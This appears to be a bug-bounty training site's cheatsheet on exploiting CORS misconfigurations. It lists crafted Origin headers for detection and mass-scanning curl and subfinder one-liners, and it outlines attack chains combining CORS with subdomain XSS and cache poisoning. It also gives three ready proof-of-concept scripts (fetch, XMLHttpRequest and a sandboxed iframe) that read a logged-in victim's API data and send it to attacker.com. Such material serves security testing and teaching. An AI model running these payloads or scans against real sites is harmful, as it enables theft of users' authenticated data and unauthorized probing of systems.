CORS Cheatsheet
Cross-Origin Resource Sharing
Quick reference
- →A CORS misconfiguration is only exploitable if Access-Control-Allow-Credentials: true
- →A wildcard (*) in ACAO doesn't allow credentials — not directly exploitable
- →If the origin is reflected exactly, try variations: null, subdomains, prefixes
- →Combine with subdomain XSS: CORS trusts *.target.com + XSS on sub.target.com
- →Cache poisoning + CORS can affect every user, not just the victim
Detecting a CORS misconfiguration
Reflected OriginIf the response contains Access-Control-Allow-Origin: https://evil.com + Credentials: true = exploitable
Origin: https://evil.com
Null OriginSandboxed pages (iframes) send a null origin
Origin: null
Target's subdomainIf it accepts any subdomain, look for XSS on subdomains
Origin: https://evil.target.com
Domain prefix
Origin: https://target.com.evil.com
Domain suffix
Origin: https://eviltarget.com
Exploitation PoC
Exfiltrate data with fetch
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(d))));
</script>PoC with XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;
xhr.onload = function() {
fetch('https://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>Null Origin via iframe sandboxiframe sandbox sends Origin: null
<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/me', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)));
</script>"></iframe>Testing methodology
Mass scan with httpx
cat alive.txt | parallel -j 50 curl -sk -H "Origin: https://evil.com" -o /dev/null -D - {} | grep -i "access-control"Subfinder + CORS check
subfinder -d target.com | httpx -silent | while read url; do curl -s -H "Origin: https://evil.com" "$url" -D - | grep -i "access-control" done
CORS attack chains
XSS on subdomain + CORSSubdomain takeover + CORS is a classic chain
1. Encontrar XSS en sub.target.com 2. CORS acepta Origin: https://sub.target.com 3. Desde XSS: fetch datos autenticados de target.com 4. Exfiltrar via XSS callback
CORS + cache poisoning
1. Enviar request con Origin: evil.com 2. Si la respuesta se cachea CON el header ACAO 3. Otros usuarios reciben la respuesta cacheada 4. El browser permite cross-origin desde evil.com
Tools
CORScanner
Automated scanner for CORS misconfigurations across multiple domains
python3 cors_scan.py -i targets.txt -t 50
Corsy
Detects CORS misconfigurations with multiple Origin variations
python3 corsy.py -u https://target.com
curl manual
Quick manual check of CORS headers
curl -s -H "Origin: https://evil.com" -I https://target.com/api/me | grep -i access-control
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labs- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime